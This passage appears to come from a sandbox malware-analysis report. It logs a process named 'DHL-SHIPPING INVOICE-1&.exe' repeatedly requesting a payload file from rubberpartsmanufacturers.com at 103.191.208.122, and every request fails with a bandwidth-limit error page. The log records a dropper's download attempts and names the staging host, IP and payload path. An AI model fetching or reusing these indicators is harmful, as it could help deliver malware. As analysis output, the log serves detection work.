69	192.168.2.6	50057	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:05 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:05 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:05 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:05 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50058	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:07 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:07 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:07 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:07 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50059	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:08 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:08 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:08 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:08 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50060	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:10 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:10 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:10 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:10 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50061	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:11 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:12 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:11 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:12 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50062	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:13 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:13 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:13 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:13 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50063	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:14 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:15 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:14 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:15 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50064	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:16 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:16 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:16 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:16 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50066	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:17 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:17 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:17 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:17 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50067	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:19 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:19 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:19 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:19 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50068	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:20 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:21 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:20 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:21 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50069	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:22 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:22 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:22 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:22 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50070	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:23 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:24 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:23 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:24 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50071	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:25 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:25 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:25 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:25 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50072	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:26 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:27 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:26 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:27 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

